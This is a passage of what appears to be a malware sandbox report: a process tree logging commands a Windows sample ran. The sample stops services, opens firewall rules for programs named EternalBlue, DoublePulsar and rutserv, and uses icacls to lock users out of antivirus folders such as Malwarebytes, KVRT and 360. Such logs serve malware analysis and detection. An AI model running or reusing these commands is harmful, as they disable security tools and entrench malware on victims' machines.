                                                      C:\Windows\system32\cmd.exe /c sc stop clr_optimization_v4.0.30318_64
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2164
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc stop clr_optimization_v4.0.30318_64
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:1072
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc delete clr_optimization_v4.0.30318_64"
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:3760
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc delete clr_optimization_v4.0.30318_64"
                                                        3⤵
                                                        • Launches sc.exe
                                                        • System Location Discovery: System Language Discovery
                                                        PID:4172
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc stop MicrosoftMysql
                                                      2⤵
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2792
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc stop MicrosoftMysql
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:1900
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc delete MicrosoftMysql
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      PID:5072
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc delete MicrosoftMysql
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:2540
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      PID:3060
                                                      • C:\Windows\SysWOW64\netsh.exe
                                                        netsh advfirewall set allprofiles state on
                                                        3⤵
                                                        • Modifies Windows Firewall
                                                        • Event Triggered Execution: Netsh Helper DLL
                                                        PID:1944
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                      2⤵
                                                        PID:224
                                                        • C:\Windows\SysWOW64\netsh.exe
                                                          netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                          3⤵
                                                          • Modifies Windows Firewall
                                                          • Event Triggered Execution: Netsh Helper DLL
                                                          PID:3148
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                        2⤵
                                                          PID:2612
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                            3⤵
                                                            • Modifies Windows Firewall
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            PID:2496
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          PID:2132
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                            3⤵
                                                            • Modifies Windows Firewall
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            PID:436
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                          2⤵
                                                            PID:5112
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                              3⤵
                                                              • Modifies Windows Firewall
                                                              • Event Triggered Execution: Netsh Helper DLL
                                                              • System Location Discovery: System Language Discovery
                                                              PID:2632
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                            2⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:4988
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                              3⤵
                                                              • Modifies Windows Firewall
                                                              • Event Triggered Execution: Netsh Helper DLL
                                                              PID:1268
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            PID:4192
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                              3⤵
                                                              • Modifies Windows Firewall
                                                              • Event Triggered Execution: Netsh Helper DLL
                                                              PID:3472
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            PID:4820
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                              3⤵
                                                              • Modifies Windows Firewall
                                                              • Event Triggered Execution: Netsh Helper DLL
                                                              PID:2604
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                            2⤵
                                                              PID:3028
                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                3⤵
                                                                • Modifies Windows Firewall
                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                PID:3340
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                              2⤵
                                                                PID:4520
                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                  netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                  3⤵
                                                                  • Modifies Windows Firewall
                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                  PID:1468
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                2⤵
                                                                  PID:632
                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                    netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                    3⤵
                                                                    • Modifies Windows Firewall
                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                    PID:2892
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Survile Service" dir=in action=allow program="C:\ProgramData\RealtekHD\taskhostw.exe" enable=yes
                                                                  2⤵
                                                                  • Executes a command shell one-liner
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:3672
                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                    netsh advfirewall firewall add rule name="Survile Service" dir=in action=allow program="C:\ProgramData\RealtekHD\taskhostw.exe" enable=yes
                                                                    3⤵
                                                                    • Modifies Windows Firewall
                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                    PID:4696
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="System Service" dir=in action=allow program="C:\ProgramData\windows\rutserv.exe" enable=yes
                                                                  2⤵
                                                                  • Executes a command shell one-liner
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:4912
                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                    netsh advfirewall firewall add rule name="System Service" dir=in action=allow program="C:\ProgramData\windows\rutserv.exe" enable=yes
                                                                    3⤵
                                                                    • Modifies Windows Firewall
                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                    PID:1900
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shell Service" dir=in action=allow program="C:\ProgramData\rundll\system.exe" enable=yes
                                                                  2⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:5024
                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                    netsh advfirewall firewall add rule name="Shell Service" dir=in action=allow program="C:\ProgramData\rundll\system.exe" enable=yes
                                                                    3⤵
                                                                    • Modifies Windows Firewall
                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                    PID:3600
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Script Service" dir=in action=allow program="C:\ProgramData\rundll\rundll.exe" enable=yes
                                                                  2⤵
                                                                    PID:3604
                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                      netsh advfirewall firewall add rule name="Script Service" dir=in action=allow program="C:\ProgramData\rundll\rundll.exe" enable=yes
                                                                      3⤵
                                                                      • Modifies Windows Firewall
                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                      PID:1768
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Micro Service" dir=in action=allow program="C:\ProgramData\rundll\Doublepulsar-1.3.1.exe" enable=yes
                                                                    2⤵
                                                                    • Executes a command shell one-liner
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:3552
                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                      netsh advfirewall firewall add rule name="Micro Service" dir=in action=allow program="C:\ProgramData\rundll\Doublepulsar-1.3.1.exe" enable=yes
                                                                      3⤵
                                                                      • Modifies Windows Firewall
                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                      PID:4376
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Small Service" dir=in action=allow program="C:\ProgramData\rundll\Eternalblue-2.2.0.exe" enable=yes
                                                                    2⤵
                                                                      PID:2904
                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                        netsh advfirewall firewall add rule name="Small Service" dir=in action=allow program="C:\ProgramData\rundll\Eternalblue-2.2.0.exe" enable=yes
                                                                        3⤵
                                                                        • Modifies Windows Firewall
                                                                        • Event Triggered Execution: Netsh Helper DLL
                                                                        PID:3104
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
                                                                      2⤵
                                                                        PID:3372
                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                          netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
                                                                          3⤵
                                                                          • Modifies Windows Firewall
                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                          PID:3956
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
                                                                        2⤵
                                                                        • Executes a command shell one-liner
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:1772
                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                          netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
                                                                          3⤵
                                                                          • Modifies Windows Firewall
                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                          PID:5108
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
                                                                        2⤵
                                                                        • Executes a command shell one-liner
                                                                        PID:4356
                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                          netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
                                                                          3⤵
                                                                          • Modifies Windows Firewall
                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                          PID:4268
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
                                                                        2⤵
                                                                        • Executes a command shell one-liner
                                                                        PID:4172
                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                          netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
                                                                          3⤵
                                                                          • Modifies Windows Firewall
                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                          PID:3748
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny %username%:(OI)(CI)(F)
                                                                        2⤵
                                                                          PID:2264
                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                            icacls "C:\Program Files (x86)\Microsoft JDX" /deny Admin:(OI)(CI)(F)
                                                                            3⤵
                                                                            • Modifies file permissions
                                                                            PID:3476
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                          2⤵
                                                                          • Executes a command shell one-liner
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:1332
                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                            icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                            3⤵
                                                                            • Modifies file permissions
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:1692
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny %username%:(OI)(CI)(F)
                                                                          2⤵
                                                                            PID:4224
                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                              icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny Admin:(OI)(CI)(F)
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:4604
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                            2⤵
                                                                            • Executes a command shell one-liner
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:1108
                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                              icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:3460
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Windows\svchost.exe" /deny %username%:(OI)(CI)(F)
                                                                            2⤵
                                                                            • Executes a command shell one-liner
                                                                            PID:1912
                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                              icacls "C:\Windows\svchost.exe" /deny Admin:(OI)(CI)(F)
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:4400
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Windows\svchost.exe" /deny system:(OI)(CI)(F)
                                                                            2⤵
                                                                              PID:3356
                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                icacls "C:\Windows\svchost.exe" /deny system:(OI)(CI)(F)
                                                                                3⤵
                                                                                • Modifies file permissions
                                                                                PID:2972
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny %username%:(OI)(CI)(F)
                                                                              2⤵
                                                                              • Executes a command shell one-liner
                                                                              PID:2040
                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Admin:(OI)(CI)(F)
                                                                                3⤵
                                                                                • Modifies file permissions
                                                                                PID:4348
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                              2⤵
                                                                              • Executes a command shell one-liner
                                                                              PID:4692
                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                                3⤵
                                                                                • Modifies file permissions
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:1472
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny %username%:(OI)(CI)(F)
                                                                              2⤵
                                                                                PID:3696
                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                  icacls "C:\Windows\Fonts\Mysql" /deny Admin:(OI)(CI)(F)
                                                                                  3⤵
                                                                                  • Modifies file permissions
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:2552
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                                2⤵
                                                                                  PID:4336
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    3⤵
                                                                                      PID:2632
                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                      icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                                      3⤵
                                                                                      • Modifies file permissions
                                                                                      PID:4920
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny %username%:(OI)(CI)(F)
                                                                                    2⤵
                                                                                    • Executes a command shell one-liner
                                                                                    PID:4476
                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                      icacls "c:\program files\Internet Explorer\bin" /deny Admin:(OI)(CI)(F)
                                                                                      3⤵
                                                                                      • Modifies file permissions
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:1944
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                                    2⤵
                                                                                      PID:3496
                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                        icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                                        3⤵
                                                                                        • Modifies file permissions
                                                                                        PID:1476
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Zaxar" /deny %username%:(OI)(CI)(F)
                                                                                      2⤵
                                                                                      • Executes a command shell one-liner
                                                                                      PID:2276
                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                        icacls "C:\Program Files (x86)\Zaxar" /deny Admin:(OI)(CI)(F)
                                                                                        3⤵
                                                                                        • Modifies file permissions
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:3564
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Zaxar" /deny system:(OI)(CI)(F)
                                                                                      2⤵
                                                                                      • Executes a command shell one-liner
                                                                                      PID:4764
                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                        icacls "C:\Program Files (x86)\Zaxar" /deny system:(OI)(CI)(F)
                                                                                        3⤵
                                                                                        • Modifies file permissions
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:3812
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny %username%:(OI)(CI)(F)
                                                                                      2⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:4784
                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                        icacls C:\Windows\speechstracing /deny Admin:(OI)(CI)(F)
                                                                                        3⤵
                                                                                        • Modifies file permissions
                                                                                        PID:3752
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                      2⤵
                                                                                        PID:2780
                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                          icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                          3⤵
                                                                                          • Modifies file permissions
                                                                                          PID:4628
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny %username%:(F)
                                                                                        2⤵
                                                                                        • Executes a command shell one-liner
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:1468
                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                          icacls c:\programdata\Malwarebytes /deny Admin:(F)
                                                                                          3⤵
                                                                                          • Modifies file permissions
                                                                                          PID:3476
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                        2⤵
                                                                                          PID:5092
                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                            icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                            3⤵
                                                                                            • Modifies file permissions
                                                                                            PID:1548
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny %username%:(F)
                                                                                          2⤵
                                                                                          • Executes a command shell one-liner
                                                                                          PID:2716
                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                            icacls C:\Programdata\MB3Install /deny Admin:(F)
                                                                                            3⤵
                                                                                            • Modifies file permissions
                                                                                            PID:2640
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                          2⤵
                                                                                            PID:3092
                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                              icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                              3⤵
                                                                                              • Modifies file permissions
                                                                                              PID:2120
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny %username%:(OI)(CI)(F)
                                                                                            2⤵
                                                                                            • Executes a command shell one-liner
                                                                                            PID:2484
                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                              icacls C:\Programdata\Indus /deny Admin:(OI)(CI)(F)
                                                                                              3⤵
                                                                                              • Modifies file permissions
                                                                                              PID:408
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                            2⤵
                                                                                            • Executes a command shell one-liner
                                                                                            PID:2608
                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                              icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                              3⤵
                                                                                              • Modifies file permissions
                                                                                              PID:4232
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Driver Foundation Visions VHG" /deny %username%:(OI)(CI)(F)
                                                                                            2⤵
                                                                                            • Executes a command shell one-liner
                                                                                            PID:3600
                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                              icacls "C:\Programdata\Driver Foundation Visions VHG" /deny Admin:(OI)(CI)(F)
                                                                                              3⤵
                                                                                              • Modifies file permissions
                                                                                              PID:3208
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Driver Foundation Visions VHG" /deny System:(OI)(CI)(F)
                                                                                            2⤵
                                                                                            • Executes a command shell one-liner
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:3872
                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                              icacls "C:\Programdata\Driver Foundation Visions VHG" /deny System:(OI)(CI)(F)
                                                                                              3⤵
                                                                                              • Modifies file permissions
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:1864
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny %username%:(OI)(CI)(F)
                                                                                            2⤵
                                                                                              PID:4404
                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                icacls C:\AdwCleaner /deny Admin:(OI)(CI)(F)
                                                                                                3⤵
                                                                                                • Modifies file permissions
                                                                                                PID:3956
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny %username%:(OI)(CI)(F)
                                                                                              2⤵
                                                                                              • Executes a command shell one-liner
                                                                                              PID:2992
                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                3⤵
                                                                                                  PID:2892
                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                  icacls "C:\Program Files\ByteFence" /deny Admin:(OI)(CI)(F)
                                                                                                  3⤵
                                                                                                  • Modifies file permissions
                                                                                                  PID:3752
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny %username%:(OI)(CI)(F)
                                                                                                2⤵
                                                                                                • Executes a command shell one-liner
                                                                                                PID:548
                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                  icacls C:\KVRT_Data /deny Admin:(OI)(CI)(F)
                                                                                                  3⤵
                                                                                                  • Modifies file permissions
                                                                                                  PID:1372
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                2⤵
                                                                                                • Executes a command shell one-liner
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:456
                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                  icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                  3⤵
                                                                                                  • Modifies file permissions
                                                                                                  PID:1716
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny %username%:(OI)(CI)(F)
                                                                                                2⤵
                                                                                                • Executes a command shell one-liner
                                                                                                PID:3204
                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                  icacls "C:\Program Files (x86)\360" /deny Admin:(OI)(CI)(F)
                                                                                                  3⤵
                                                                                                  • Modifies file permissions
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:2336
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny %username%:(OI)(CI)(F)
                                                                                                2⤵
                                                                                                  PID:1288
                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                    3⤵
                                                                                                      PID:4604
                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                      icacls "C:\ProgramData\360safe" /deny Admin:(OI)(CI)(F)
                                                                                                      3⤵
                                                                                                      • Modifies file permissions
                                                                                                      PID:2852
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                    2⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:3912
                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                      icacls "C:\Program Files (x86)\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                      3⤵
                                                                                                      • Modifies file permissions
                                                                                                      PID:1452
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny %username%:(OI)(CI)(F)
                                                                                                    2⤵
                                                                                                      PID:5056
                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                        icacls "C:\Program Files\Malwarebytes" /deny Admin:(OI)(CI)(F)
                                                                                                        3⤵
                                                                                                        • Modifies file permissions
                                                                                                        PID:1944
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny %username%:(OI)(CI)(F)
                                                                                                      2⤵
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:3104
                                                                                                      • C:\Windows\SysWOW64\icacls.exe
